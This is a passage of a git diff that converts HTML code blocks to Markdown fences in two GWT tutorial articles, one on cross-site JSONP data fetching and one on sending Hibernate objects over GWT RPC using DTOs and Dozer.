 *   Must provide a method to generate and reserve a callback function name
 
-At this point, I needed a Google Data feed to test with. I decided to fetch the Google Base &quot;snippets&quot; URL, which is a GData feed in JSON mode. The base URL for this feed is `http://www.google.com/base/feeds/snippets`. To request JSON data as output, you add some GET parameters to the URL: `?alt=json-in-script&callback=foo`. The last value--foo--is the name of a callback function (that is, the JSONP hook). The Google Data feed's output will wrap the JavaScript object with a call to that function.
+At this point, I needed a Google Data feed to test with. I decided to fetch the Google Base "snippets" URL, which is a GData feed in JSON mode. The base URL for this feed is `http://www.google.com/base/feeds/snippets`. To request JSON data as output, you add some GET parameters to the URL: `?alt=json-in-script&callback=foo`. The last value--foo--is the name of a callback function (that is, the JSONP hook). The Google Data feed's output will wrap the JavaScript object with a call to that function.
 
 If you want to see a full example of the Google Data output, check out this URL: `http://www.google.com/base/feeds/snippets`. You'll quickly see that there's a lot of data, even for just a single result. To help you visualize the general structure of the feed, here's a much smaller custom-built sample result that contains only the data relevant to this story:
 
-<pre class="code">
+```
 {
   'feed': {
     'entry': [
@@ -90,13 +91,14 @@
     ]
   }
 }
-</pre>
+
+```
 
 The core structure is fairly simple, as you can see; most of the length of the real Google Data feed comes from the various data fields.
 
 To keep my development simple, I used that minimized example for testing so I wouldn't be overwhelmed by the full Google Data feed. Of course, that meant I needed a web server to serve up my custom version of the JSON data. Normally I would have just served it from the built-in Tomcat instance included in GWT's hosted mode. However, that would have meant that my JSON data and my GWT application would be served from the same site. Since my ultimate goal was to load the real JSON data from a different site, I needed a second, separate local server from which to fetch my JSON data--otherwise, it wouldn't be an accurate simulation. Since a full web server instance would have been lots of work to set up, I created a tiny custom server with this Python program:
 
-<pre class="code">
+```
 import BaseHTTPServer, SimpleHTTPServer, cgi
 class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
@@ -110,13 +112,14 @@
     self.wfile.write(body)
 bhs = BaseHTTPServer.HTTPServer(('', 8000), MyHandler)
 bhs.serve_forever()
-</pre>
+
+```
 
 This program returns the contents of the json.js file for each and every request, wrapping it in a function name specified in the `callback` query parameter. It's pretty dumb, but it doesn't need to be smart.
 
 With the server under control, here's the GWT code for my browser application:
 
-<pre class="code">
+```
 public class Hax0r implements EntryPoint {
   protected HashMap scriptTags = new HashMap();
   protected HashMap callbacks = new HashMap();
@@ -132,21 +135,21 @@
     while (true) {
       if (!callbacks.containsKey(new Integer(curIndex))) {
         callbacks.put(new Integer(curIndex), null);
-        return &quot;__gwt_callback&quot; + curIndex++;
+        return "__gwt_callback" + curIndex++;
       }
     }
   }
 
   public void addScript(String uniqueId, String url) {
-    Element e = DOM.createElement(&quot;script&quot;);
-    DOM.setAttribute(e, &quot;language&quot;, &quot;JavaScript&quot;);
-    DOM.setAttribute(e, &quot;src&quot;, url);
+    Element e = DOM.createElement("script");
+    DOM.setAttribute(e, "language", "JavaScript");
+    DOM.setAttribute(e, "src", url);
     scriptTags.put(uniqueId, e);
     DOM.appendChild(RootPanel.get().getElement(), e);
   }
 
   public void onModuleLoad() {
-    String gdata = &quot;http://www.google.com/base/feeds/snippets?alt=json-in-script&callback=&quot;;
+    String gdata = "http://www.google.com/base/feeds/snippets?alt=json-in-script&callback=";
     String callbackName = reserveCallback();
     setup(this, callbackName);
     addScript(callbackName, gdata + callbackName);
@@ -154,36 +157,36 @@
 
   public void handle(JavaScriptObject jso) {
     JSONObject json = new JSONObject(jso);
-    JSONArray ary = json.get(&quot;feed&quot;).isObject().get(&quot;entry&quot;).isArray();
+    JSONArray ary = json.get("feed").isObject().get("entry").isArray();
     for (int i = 0; i < ary.size(); ++i) {
-      RootPanel.get().add(new Label(ary.get(i).isObject().get(&quot;title&quot;).isObject().get(&quot;$t&quot;).toString()));
+      RootPanel.get().add(new Label(ary.get(i).isObject().get("title").isObject().get("$t").toString()));
     }
   }
 }
-</pre>
+```
 
 This code could use a little explanation. Here are some comments that highlight how the code implements the high-level design I outlined earlier:
 
-*   The `setup()` method is a native method using [GWT's JavaScript Native Interface](../doc/latest/DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface). JSNI allows developers who need &quot;low level&quot; access to JavaScript to get it. The method simply assigns the `handle()` method to a well-known name on the browser window.
+*   The `setup()` method is a native method using [GWT's JavaScript Native Interface](../doc/latest/DevGuideCodingBasics.html#DevGuideJavaScriptNativeInterface). JSNI allows developers who need "low level" access to JavaScript to get it. The method simply assigns the `handle()` method to a well-known name on the browser window.
 *   `setup()` creates the callback as a function closure because JavaScript will garbage collect plain old function pointers. That is, if we just directly assigned the `handle(`) method to `$wnd[callback]`, it would be immediately garbage collected. To prevent this, we create a new inline anonymous function.
 *   Because GWT loads the application's actual code in a child iframe, the global variable `$wnd` is set to point to the `window` handle where the application actually lives. That is, it is set to the `window` handle on the parent frame, rather than the child iframe.
-*   The `addScript()` method handles all the DOM munging required to dynamically insert a &lt;script&gt; tag into the page. It also tracks the resulting DOM Element handles via unique IDs, so that they can be cleaned up later (though this proof of concept code doesn't actually do any cleanup).
+*   The `addScript()` method handles all the DOM munging required to dynamically insert a `<script>` tag into the page. It also tracks the resulting DOM Element handles via unique IDs, so that they can be cleaned up later (though this proof of concept code doesn't actually do any cleanup).
 *   The `handle()` method is the actual function that gets called by the JSON response from the server. It contains a loop which just prints out the titles of all the results fetched by the JSON request. Note that this method uses the existing [GWT JSON parsing and manipulation libraries](/javadoc/latest/com/google/gwt/json/client/package-summary.html). The specific sequence of calls is pretty brittle since there is no error checking, but the goal is only to fetch some data to prove the technique worked.
 *   Finally, the `onModuleLoad()` method--which is the main entry point to a GWT application--simply calls the various other methods to exercise the moving parts.
 
 ## One last little thing
 
-By the way, don't bother trying to run the code above; it doesn't work. It may look correct to you--it certainly did to me, at first--but it's got a bug in it. The problem is that GWT's JSON library does various checks on the data, including some &quot;instanceof&quot; tests to determine whether parts of the data are objects or arrays. It turns out that all those "instanceof" tests don't work with the code above, causing the application above to fail.
+By the way, don't bother trying to run the code above; it doesn't work. It may look correct to you--it certainly did to me, at first--but it's got a bug in it. The problem is that GWT's JSON library does various checks on the data, including some "instanceof" tests to determine whether parts of the data are objects or arrays. It turns out that all those "instanceof" tests don't work with the code above, causing the application above to fail.
 
-I spent quite a while debugging this, until I finally asked Scott Blum, a GWT Engineer. Scott merely asked a question: &quot;Was the array created in the same window in which you're testing it?&quot;
+I spent quite a while debugging this, until I finally asked Scott Blum, a GWT Engineer. Scott merely asked a question: "Was the array created in the same window in which you're testing it?"
 
-What Scott knew that I did not, is that the JavaScript classes (like Array) corresponding to the primitive types are constructed along with the window object. Because JavaScript is a prototype-oriented language, the &quot;classes&quot; are really just object instances with special names. These two issues combine to reveal a subtle but important issue: the Array objects from two different windows are not the same object! The expression &quot;x instanceof y&quot; in JavaScript boils down to something like this in pseudocode: &quot;if the &quot;prototype&quot; property of &quot;x&quot; is the same object as &quot;y&quot;, return true, else return false.&quot;
+What Scott knew that I did not, is that the JavaScript classes (like Array) corresponding to the primitive types are constructed along with the window object. Because JavaScript is a prototype-oriented language, the "classes" are really just object instances with special names. These two issues combine to reveal a subtle but important issue: the Array objects from two different windows are not the same object! The expression "x instanceof y" in JavaScript boils down to something like this in pseudocode: "if the "prototype" property of "x" is the same object as "y", return true, else return false."
 
-At this point, you may be wondering how multiple windows entered the discussion. The key is the fact that GWT application code is loaded in a hidden iframe, and so references to objects like `window` refer to that iframe window rather than its parent window. To refer to the browser parent window, GWT defines the `$wnd` variable. The DOM object in GWT also points to the parent window's document object; after all, your application code is interested in manipulating the browser window, not GWT's hidden iframe. As a result, in the code above, the &lt;script&gt; tag is added to the parent window, while the code using it resides in a different iframe. This means that the object is created in a window different from where the &quot;instanceof&quot; checks are made, thus causing the issue above.
+At this point, you may be wondering how multiple windows entered the discussion. The key is the fact that GWT application code is loaded in a hidden iframe, and so references to objects like `window` refer to that iframe window rather than its parent window. To refer to the browser parent window, GWT defines the `$wnd` variable. The DOM object in GWT also points to the parent window's document object; after all, your application code is interested in manipulating the browser window, not GWT's hidden iframe. As a result, in the code above, the `<script>` tag is added to the parent window, while the code using it resides in a different iframe. This means that the object is created in a window different from where the "instanceof" checks are made, thus causing the issue above.
 
-There are several ways to fix the code: Ultimately, I just needed to make sure that the &lt;script&gt; tag and the JSONP callbacks are added to the same iframe in which the GWT application code resides. Here's how I fixed it:
+There are several ways to fix the code: Ultimately, I just needed to make sure that the `<script>` tag and the JSONP callbacks are added to the same iframe in which the GWT application code resides. Here's how I fixed it:
 
-<pre class="code">
+```
 public native static void setup(Hax0r h, String callback) /*-{
     window[callback] = function(someData) {
       h.@com.google.gwt.hax0r.client.Hax0r::handle(Lcom/google/gwt/core/client/JavaScriptObject;)(someData);
@@ -191,12 +194,13 @@
   }-*/;
 
 public native void addScript(String uniqueId, String url) /*-{
-  var elem = document.createElement(&quot;script&quot;);
-  elem.setAttribute(&quot;language&quot;, &quot;JavaScript&quot;);
-  elem.setAttribute(&quot;src&quot;, url);
-  document.getElementsByTagName(&quot;body&quot;)[0].appendChild(elem);
+  var elem = document.createElement("script");
+  elem.setAttribute("language", "JavaScript");
+  elem.setAttribute("src", url);
+  document.getElementsByTagName("body")[0].appendChild(elem);
 }-*/;
-</pre>
+
+```
 
 The new version is a rewrite in JSNI of the prior version, coded to use the current `document` object instead of the parent window's `document`. I also had to change the reference to `$wnd` in the `setup()` method to `window`. This ensures that all the relevant pieces exist in the same context, specifically, the child iframe. With these tweaks, the new code works correctly.
 
diff --git a/src/main/markdown/articles/using_gwt_with_hibernate.md b/src/main/markdown/articles/using_gwt_with_hibernate.md
index 35e947b..c015da3 100644
--- a/src/main/markdown/articles/using_gwt_with_hibernate.md
+++ b/src/main/markdown/articles/using_gwt_with_hibernate.md
@@ -21,7 +21,7 @@
 
 **Record.java**
 
-<pre class="code">
+```
 public class Record implements Serializable {
   private Long id;
   private String title;
@@ -37,16 +37,17 @@
 
   // Along with corresponding getters + setters.
 }
-</pre>
+
+```
 
 **Account.java**
 
-<pre class="code">
+```
 public class Account implements Serializable {
   Long id;
   String name;
   String password;
-  Set&lt;Record&gt; records;
+  Set<Record> records;
 
   public Account() {
   }
@@ -57,7 +58,7 @@
 
   public void addRecord(Record record) {
     if (records == null) {
-      records = new HashSet&lt;Record&gt;();
+      records = new HashSet<Record>();
     }
     records.add(record);
   }
@@ -71,44 +72,47 @@
 
   // Along with corresponding getters + setters.
 }
-</pre>
+
+```
 
 Then we need to create the corresponding Hibernate mapping files for each of these persisted types, like so:
 
 **Record.hbm.xml**
 
-<pre class="code">
-&lt;hibernate-mapping&gt;
-  &lt;class name=&quot;com.google.musicstore.domain.Record&quot; table=&quot;RECORD&quot;&gt;
-    &lt;id name=&quot;id&quot; column=&quot;RECORD_ID&quot;&gt;
-      &lt;generator class=&quot;native&gt;/&gt;
-    &lt;/id&gt;
-    &lt;property name=&quot;title&quot;/&gt;
-    &lt;property name=&quot;year&quot;/&gt;
-    &lt;property name=&quot;price&quot;/&gt;
+```
+<hibernate-mapping>
+  <class name="com.google.musicstore.domain.Record" table="RECORD">
+    <id name="id" column="RECORD_ID">
+      <generator class="native>/>
+    </id>
+    <property name="title"/>
+    <property name="year"/>
+    <property name="price"/>
 
-  &lt;/class&gt;
-&lt;/hibernate-mapping&gt;
-</pre>
+  </class>
+</hibernate-mapping>
+
+```
 
 **Account.hbm.xml**
 
-<pre class="code">
-&lt;hibernate-mapping&gt;
-  &lt;class name=&quot;com.google.musicstore.domain.Account&quot; table=&quot;ACCOUNT&quot;&gt;
-    &lt;id name=&quot;id&quot; column=&quot;ACCOUNT_ID&quot;&gt;
-      &lt;generator class=&quot;native&quot;/&gt;
-    &lt;/id&gt;
-    &lt;property name=&quot;name&quot;/&gt;
-    &lt;property name=&quot;password&quot;/&gt;
+```
+<hibernate-mapping>
+  <class name="com.google.musicstore.domain.Account" table="ACCOUNT">
+    <id name="id" column="ACCOUNT_ID">
+      <generator class="native"/>
+    </id>
+    <property name="name"/>
+    <property name="password"/>
 
-    &lt;set name=&quot;records&quot; table=&quot;ACCOUNT_RECORD&quot; lazy=&quot;true&quot;&gt;
-      &lt;key column=&quot;ACCOUNT_ID&quot;/&gt;
-      &lt;many-to-many column=&quot;RECORD_ID&quot; class=&quot;com.google.musicstore.domain.Record&quot;/&gt;
-    &lt;/set&gt;
-  &lt;/class&gt;
-&lt;/hibernate-mapping&gt;
-</pre>
+    <set name="records" table="ACCOUNT_RECORD" lazy="true">
+      <key column="ACCOUNT_ID"/>
+      <many-to-many column="RECORD_ID" class="com.google.musicstore.domain.Record"/>
+    </set>
+  </class>
+</hibernate-mapping>
+
+```
 
 Now that we've created our persistent classes, let's create a bare bones UI that will allow us to enter new accounts and records, as well as the GWT RPC services that will persist them on the server-side. Let's start with the RPC services.
 
@@ -118,12 +122,12 @@
 
 **MusicStoreService.java**
 
-<pre class="code">
-@RemoteServiceRelativePath(&quot;musicservice&quot;)
+```
+@RemoteServiceRelativePath("musicservice")
 public interface MusicStoreService extends RemoteService {
-  public List&lt;Account&gt; getAccounts();
+  public List<Account> getAccounts();
 
-  public List&lt;Record&gt; getRecords();
+  public List<Record> getRecords();
 
   public Long saveAccount(Account account);
 
@@ -131,47 +135,49 @@
 
   public void saveRecordToAccount(Account account, Record record);
 }
-</pre>
+
+```
 
 **MusicStoreServiceAsync.java**
 
-<pre class="code">
+```
 public interface MusicStoreServiceAsync {
-  public void getAccounts(AsyncCallback&lt;List&lt;Account&gt;&gt; callback);
+  public void getAccounts(AsyncCallback<List<Account>> callback);
 
-  public void getRecords(AsyncCallback&lt;List&lt;Record&gt;&gt; callback);
+  public void getRecords(AsyncCallback<List<Record>> callback);
 
-  public void saveAccount(Account accountDTO, AsyncCallback&lt;Long&gt; callback);
+  public void saveAccount(Account accountDTO, AsyncCallback<Long> callback);
 
-  public void saveRecord(Record record, AsyncCallback&lt;Long&gt; callback);
+  public void saveRecord(Record record, AsyncCallback<Long> callback);
 
   public void saveRecordToAccount(Account accountDTO, Record recordDTO,
-AsyncCallback&lt;Void&gt; callback);
+AsyncCallback<Void> callback);
 }
-</pre>
+
+```
 
 Finally, we create the service implementation class on the server-side.
 
 **MusicStoreServiceImpl.java**
 
-<pre class="code">
+```
 public class MusicStoreServiceImpl extends RemoteServiceServlet implements
 MusicStoreService {
 
   @Override
-  public List&lt;Account&gt; getAccounts() {
+  public List<Account> getAccounts() {
     Session session = HibernateUtil.getSessionFactory().getCurrentSession();
     session.beginTransaction();
-    List&lt;Account&gt; accounts = new ArrayList&lt;Account&gt;(session.createQuery("from Account").list());
+    List<Account> accounts = new ArrayList<Account>(session.createQuery("from Account").list());
     session.getTransaction().commit();
     return accounts;
   }
 
   @Override
-  public List&lt;Record&gt; getRecords() {
+  public List<Record> getRecords() {
     Session session = HibernateUtil.getSessionFactory().getCurrentSession();
     session.beginTransaction();
-    List&lt;Record&gt; records = new ArrayList&lt;Record&gt;(session.createQuery("from Record").list());
+    List<Record> records = new ArrayList<Record>(session.createQuery("from Record").list());
     session.getTransaction().commit();
     return records;
   }
@@ -205,11 +211,12 @@
     session.getTransaction().commit();
   }
 }
-</pre>
+
+```
 
 You may have noticed some `HibernateUtil` calls in the `MusicStoreServiceImpl`  method implementations in the code snippet above. This is actually a custom class that was created as a helper utility to retrieve and use the Hibernate session factory, exactly as is done in the Hibernate tutorial mentioned earlier. For convenience, here is the `HibernateUtil` code pasted below so you can follow along. If you want to learn more details about what the `HibernateUtil` class is doing, I strongly advise checking out the tutorial for a full explanation.
 
-<pre class="code">
+```
 public class HibernateUtil {
 
   private static final SessionFactory sessionFactory;
@@ -229,39 +236,45 @@
     return sessionFactory;
   }
 }
-</pre>
+
+```
 
 Finally, our server-side GWT RPC services are ready to [CRUD](http://en.wikipedia.org/wiki/Create,_read,_update_and_delete) our Hibernate objects (actually, we skipped the Delete functionality).  Now we just need an interface to actually make the RPC calls. I've created a sample application with a UI that will allow us to add records, add accounts, add records to accounts and of course view all existing accounts and their associated records. The sample code is not representative of best practices, just a quick and dirty implementation to get us up and running. The sample also includes the server-side RPC and Hibernate code we've worked on up to this point. You can download the sample [here](http://google-web-toolkit.googlecode.com/files/gwt_hibernate_base.zip).
 
 In the example source code, you'll find a `build.xml` file and a `build.properties` file in the root directory. After properly configuring the `gwt.home` and `gwt.dev.jar` properties for your machine,  you can use [Ant](http://ant.apache.org/) to build the project, as well as start up hosted mode to see the UI and our Hibernate instance setup in the embedded Jetty server. Just run the following from command line:
 
-<pre class="code">ant build hosted</pre>
+```
+ant build hosted
+```
 
 Before doing that, though, we'll need to have our in-memory HSQLDB up and running so we can persist our Hibernate objects. In the example project you downloaded, you should find '`data`' folder under the project root directory. You'll also find the `hsqldb.jar` in the `lib` folder. All we need to do to start up the in-memory HSQLDB is invoke the `org.hsqldb.Server` class contained in the `hsqldb.jar` file, while in the '`data`' directory to host the HSQLDB properties and log output. You can do this by running the following from command line (while in the '`data`' directory):
 
-<pre class="code">java -cp ../lib/hsqldb.jar org.hsqldb.Server</pre>
+```
+java -cp ../lib/hsqldb.jar org.hsqldb.Server
+```
 
-Now that we have our persistence layer ready, let's compile and run our application in hosted mode using the ant command above. Once both `build` and `hosted` ant tasks have completed, you should see the hosted mode browser startup, with the &quot;Add Accounts / Records&quot; tab displayed. Finally, we can start persisting our records (from the GWT client-side to the Hibernate database, using our Hibernate objects!). Go ahead and try adding an account and a a record to our in-memory Hibernate to get our data set started.
+Now that we have our persistence layer ready, let's compile and run our application in hosted mode using the ant command above. Once both `build` and `hosted` ant tasks have completed, you should see the hosted mode browser startup, with the "Add Accounts / Records" tab displayed. Finally, we can start persisting our records (from the GWT client-side to the Hibernate database, using our Hibernate objects!). Go ahead and try adding an account and a a record to our in-memory Hibernate to get our data set started.
 
-Next, try selecting the &quot;Add Records To Account&quot; panel to add our newly created record to the also newly created account. Chances are, you'll get an error message along the lines of the screenshot below.
+Next, try selecting the "Add Records To Account" panel to add our newly created record to the also newly created account. Chances are, you'll get an error message along the lines of the screenshot below.
 
 ![img](../images/hosted_hibernate_error.png)
 
 ### Why Hibernate objects can't be understood when they reach the browser world
 
-So what went wrong? Looking at the hosted mode console, you'll notice the warning message &quot;Exception while dispatching incoming RPC call&quot; was logged to the console. Selecting the warning message, the lower pane will display a rather long stack trace.
+So what went wrong? Looking at the hosted mode console, you'll notice the warning message "Exception while dispatching incoming RPC call" was logged to the console. Selecting the warning message, the lower pane will display a rather long stack trace.
 
 This is the part to pay attention to:
 
-<pre class="code">
+```
 Caused by: com.google.gwt.user.client.rpc.SerializationException: Type 'org.hibernate.collection.PersistentSet' was not included in the set of types which can be serialized by this SerializationPolicy or its Class object could not be loaded. For security purposes, this type will not be serialized.
 at com.google.gwt.user.server.rpc.impl.StandardSerializationPolicy.validateSerialize(StandardSerializationPolicy.java:83)
 at com.google.gwt.user.server.rpc.impl.ServerSerializationStreamWriter.serialize(ServerSerializationStreamWriter.java:591)
-</pre>
+
+```
 
 The key here is the `SerializationException` that was thrown when we tried to load up and retrieve accounts.
 
-So what exactly went wrong? Well, as you may have read in the [GWT RPC docs](../doc/latest/DevGuideServerCommunication.html#DevGuideRemoteProcedureCalls), a [`SerializationException`](/javadoc/latest/com/google/gwt/user/client/rpc/SerializationException.html) is thrown whenever a type transferred over RPC is not &quot;serializable&quot;. The definition of serializable here means that the GWT RPC mechanism knows how to serialize and deserialize the type from bytecode to JSON and vice-versa. To declare a type as serializable to the GWT compiler, you can either make the type to be transferred over RPC implement the `IsSerializable` interface, especially created for this purpose, or implement the standard `java.io.Serializable` interface, provided that its members and methods consist of types that are also serializable.
+So what exactly went wrong? Well, as you may have read in the [GWT RPC docs](../doc/latest/DevGuideServerCommunication.html#DevGuideRemoteProcedureCalls), a [`SerializationException`](/javadoc/latest/com/google/gwt/user/client/rpc/SerializationException.html) is thrown whenever a type transferred over RPC is not "serializable". The definition of serializable here means that the GWT RPC mechanism knows how to serialize and deserialize the type from bytecode to JSON and vice-versa. To declare a type as serializable to the GWT compiler, you can either make the type to be transferred over RPC implement the `IsSerializable` interface, especially created for this purpose, or implement the standard `java.io.Serializable` interface, provided that its members and methods consist of types that are also serializable.
 
 In the case of the `Account` and `Record` Hibernate objects, we are implementing the `Serializable` interface, so these should work, shouldn't they?. As it turns out, the devil is in the details.
 
@@ -289,7 +302,7 @@
 
 **AccountDTO.java**
 
-<pre class="code">
+```
 package com.google.musicstore.client.dto;
 
 import java.io.Serializable;
@@ -299,7 +312,7 @@
   private Long id;
   private String name;
   private String password;
-  private Set&lt;RecordDTO&gt; records;
+  private Set<RecordDTO> records;
 
   public AccountDTO() {
   }
@@ -309,7 +322,7 @@
   }
 
   public AccountDTO(Long id, String name, String password,
-      Set&lt;RecordDTO&gt; records) {
+      Set<RecordDTO> records) {
     this.id = id;
     this.name = name;
     this.password = password;
@@ -318,11 +331,12 @@
 
   // Along with corresponding getters + setters.
 }
-</pre>
+
+```
 
 **RecordDTO.java**
 
-<pre class="code">
+```
 package com.google.musicstore.client.dto;
 
 import java.io.Serializable;
@@ -349,49 +363,52 @@
 
   // Along with corresponding getters + setters.
 }
-</pre>
+
+```
 
 Next, let's add constructors that take these new DTOs as arguments to their Hibernate object counterparts:
 
 **Account.java**
 
-<pre class="code">
+```
 public Account(AccountDTO accountDTO) {
   id = accountDTO.getId();
   name = accountDTO.getName();
   password = accountDTO.getPassword();
-  Set&lt;RecordDTO&gt; recordDTOs = accountDTO.getRecords();
+  Set<RecordDTO> recordDTOs = accountDTO.getRecords();
   if (recordDTOs != null) {
-    Set&lt;Record&gt; records = new HashSet&lt;Record&gt;(recordDTOs.size());
+    Set<Record> records = new HashSet<Record>(recordDTOs.size());
     for (RecordDTO recordDTO : recordDTOs) {
       records.add(new Record(recordDTO));
     }
     this.records = records;
   }
 }
-</pre>
+
+```
 
 **Record.java**
 
-<pre class="code">
+```
 public Record(RecordDTO record) {
   id = record.getId();
   title = record.getTitle();
   year = record.getYear();
   price = record.getPrice();
 }
-</pre>
+
+```
 
 And finally, we need to modify the existing GWT RPC components to take the DTO counterparts as arguments:
 
 **MusicStoreService.java**
 
-<pre class="code">
-@RemoteServiceRelativePath(&quot;musicservice&quot;)
+```
+@RemoteServiceRelativePath("musicservice")
 public interface MusicStoreService extends RemoteService {
-  public List&lt;AccountDTO&gt; getAccounts();
+  public List<AccountDTO> getAccounts();
 
-  public List&lt;RecordDTO&gt; getRecords();
+  public List<RecordDTO> getRecords();
 
   public Long saveAccount(AccountDTO accountDTO);
 
@@ -399,42 +416,44 @@
 
   public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO);
 
-  public List&lt;AccountDTO&gt; getAllAccountRecords();
+  public List<AccountDTO> getAllAccountRecords();
 }
-</pre>
+
+```
 
 **MusicStoreServiceAsync.java**
 
-<pre class="code">
+```
 public interface MusicStoreServiceAsync {
-  public void getAccounts(AsyncCallback&lt;List&lt;AccountDTO&gt;&gt; callback);
+  public void getAccounts(AsyncCallback<List<AccountDTO>> callback);
 
-  public void getRecords(AsyncCallback&lt;List&lt;RecordDTO&gt;&gt; callback);
+  public void getRecords(AsyncCallback<List<RecordDTO>> callback);
 
-  public void saveAccount(AccountDTO accountDTO, AsyncCallback&lt;Long&gt; callback);
+  public void saveAccount(AccountDTO accountDTO, AsyncCallback<Long> callback);
 
-  public void saveRecord(RecordDTO record, AsyncCallback&lt;Long&gt; callback);
+  public void saveRecord(RecordDTO record, AsyncCallback<Long> callback);
 
-  public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO, AsyncCallback&lt;Void&gt; callback);
+  public void saveRecordToAccount(AccountDTO accountDTO, RecordDTO recordDTO, AsyncCallback<Void> callback);
 
-  public void getAllAccountRecords(AsyncCallback&lt;List&lt;AccountDTO&gt;&gt; callback);
+  public void getAllAccountRecords(AsyncCallback<List<AccountDTO>> callback);
 }
-</pre>
+
+```
 
 And now we modify the `MusicStoreServiceImpl.java` class.
 
 **MusicStoreServiceImpl.java**
 
-<pre class="code">
+```
 public class MusicStoreServiceImpl extends RemoteServiceServlet implements
 MusicStoreService {
 
   @Override
-  public List&lt;AccountDTO&gt; getAccounts() {
+  public List<AccountDTO> getAccounts() {
     Session session = HibernateUtil.getSessionFactory().getCurrentSession();
     session.beginTransaction();
-    List&lt;Account&gt; accounts = new ArrayList&lt;Account&gt;(session.createQuery("from Account").list());
-    List&lt;AccountDTO&gt; accountDTOs = new ArrayList&lt;AccountDTO&gt;(
+    List<Account> accounts = new ArrayList<Account>(session.createQuery("from Account").list());
+    List<AccountDTO> accountDTOs = new ArrayList<AccountDTO>(
     accounts != null ? accounts.size() : 0);
     if (accounts != null) {
       for (Account account : accounts) {
@@ -446,11 +465,11 @@
   }
 
   @Override
-  public List&lt;RecordDTO&gt; getRecords() {
+  public List<RecordDTO> getRecords() {
     Session session = HibernateUtil.getSessionFactory().getCurrentSession();
     session.beginTransaction();
-    List&lt;Record&gt; records = new ArrayList&lt;Record&gt;(session.createQuery("from Record").list());
-    List&lt;RecordDTO&gt; recordDTOs = new ArrayList&lt;RecordDTO&gt;(records != null ? records.size() : 0);
+    List<Record> records = new ArrayList<Record>(session.createQuery("from Record").list());
+    List<RecordDTO> recordDTOs = new ArrayList<RecordDTO>(records != null ? records.size() : 0);
     if (records != null) {
       for (Record record : records) {
         recordDTOs.add(createRecordDTO(record));
@@ -492,11 +511,11 @@
   }
 
   @Override
-  public List&lt;AccountDTO&gt; getAllAccountRecords() {
+  public List<AccountDTO> getAllAccountRecords() {
     Session session = HibernateUtil.getSessionFactory().getCurrentSession();
     session.beginTransaction();
-    List&lt;Account&gt; accounts = new ArrayList&lt;Account&gt;(session.createQuery("from Account").list());
-    List&lt;AccountDTO&gt; accountDTOs = new ArrayList&lt;AccountDTO&gt;(accounts != null ? accounts.size() : 0);
+    List<Account> accounts = new ArrayList<Account>(session.createQuery("from Account").list());
+    List<AccountDTO> accountDTOs = new ArrayList<AccountDTO>(accounts != null ? accounts.size() : 0);
     if (accounts != null) {
       for (Account account : accounts) {
         accountDTOs.add(createAccountDTO(account));
@@ -507,8 +526,8 @@
   }
 
   private AccountDTO createAccountDTO(Account account) {
-    Set&lt;Record&gt; records = account.getRecords();
-    Set&lt;RecordDTO&gt; recordDTOs = new HashSet&lt;RecordDTO&gt;(records != null ? records.size() : 0);
+    Set<Record> records = account.getRecords();
+    Set<RecordDTO> recordDTOs = new HashSet<RecordDTO>(records != null ? records.size() : 0);
     if (records != null) {
       for (Record record : records) {
         recordDTOs.add(createRecordDTO(record));
@@ -521,7 +540,8 @@
     return new RecordDTO(record.getId(), record.getTitle(), record.getYear(), record.getPrice());
   }
 }
-</pre>
+
+```
 
 And lastly, we need to update the RPC service interface calls from the `MusicStore` entry point class to use the new DTO parametrized method signatures.
 
@@ -529,10 +549,11 @@
 
 **MusicStore.gwt.xml**
 
-<pre class="code">
-&lt;!-- Remove the line below --&gt;
-&lt;source path="domain"/&gt;
-</pre>
+```
+<!-- Remove the line below -->
+<source path="domain"/>
+
+```
 
 Notice that not much changes here. The only thing we need to do after retrieving the Hibernate objects from the database is copy them into their DTO equivalents, add those DTOs to a list and return them back in the client-side callback. However, there is one thing that we'll need to watch out for, and that's the process by which we copy these objects to our DTOs.
 
@@ -540,10 +561,10 @@
 
 **createAccountDTO(Account account)**
 
-<pre class="code">
+```
 private AccountDTO createAccountDTO(Account account) {
-  Set&lt;Record&gt; records = account.getRecords();
-  Set&lt;RecordDTO&gt; recordDTOs = new HashSet&lt;RecordDTO&gt;(records != null ? records.size() : 0);
+  Set<Record> records = account.getRecords();
+  Set<RecordDTO> recordDTOs = new HashSet<RecordDTO>(records != null ? records.size() : 0);
   if (records != null) {
     for (Record record : records) {
       recordDTOs.add(createRecordDTO(record));
@@ -551,17 +572,19 @@
   }
   return new AccountDTO(account.getId(), account.getName(), account.getPassword(), recordDTOs);
 }
-</pre>
+
+```
 
 You'll also notice that we're making a call to another copy method called `createRecordDTO(Record record)`. As you might imagine, much like we needed to transform Account objects into their DTO equivalents, we need to do the same directional transformation for the Record object.
 
 **createRecordDTO(Record record)**
 
-<pre class="code">
+```
 private RecordDTO createRecordDTO(Record record) {
   return new RecordDTO(record.getId(), record.getTitle(), record.getYear(), record.getPrice());
 }
-</pre>
+
+```
 
 With the DTO solution implemented, try running: `ant clean build hosted` from command line once more to see the solution in action (all while making sure that the HSQL in-memory DB is still running).
 
@@ -585,44 +608,47 @@
 
 As mentioned before, Dozer permits us to use XML mappings to tell it which properties to copy to a new DTO instance, as well as which properties to exclude. When Dozer reads these mapping files and copies objects to DTOs, it does so implicitly, meaning that you can expect that any property that hasn't been specifically excluded in the mapping file will be included. This helps keep the Dozer mapping file short and to the point:
 
-<pre class="code">
-&lt;mappings&gt;
-  &lt;mapping&gt;
-    &lt;class-a&gt;com.google.musicstore.domain.Account&lt;/class-a&gt;
-    &lt;class-b&gt;com.google.musicstore.dto.AccountDTO&lt;/class-a&gt;
-  &lt;/mapping&gt;
-&lt;/mappings&gt;
-</pre>
+```
+<mappings>
+  <mapping>
+    <class-a>com.google.musicstore.domain.Account</class-a>
+    <class-b>com.google.musicstore.dto.AccountDTO</class-a>
+  </mapping>
+</mappings>
+
+```
 
 Now that we know how Dozer mappings work, let's see how they apply to Hibernate objects. The idea is to simply copy all the properties over to our DTOs while removing any properties marked with `lazy="true"`. Dozer will take care of replacing these originally lazily loaded persistent collections by plain collections, which can be transferred and serialized through RPC.
 
-<pre class="code">
-&lt;mappings&gt;
-  &lt;mapping&gt;
-    &lt;class-a&gt;com.google.musicstore.domain.Account&lt;/class-a&gt;
-    &lt;class-b&gt;com.google.musicstore.dto.AccountDTO&lt;/class-b&gt;
-    &lt;field-exclude&gt;
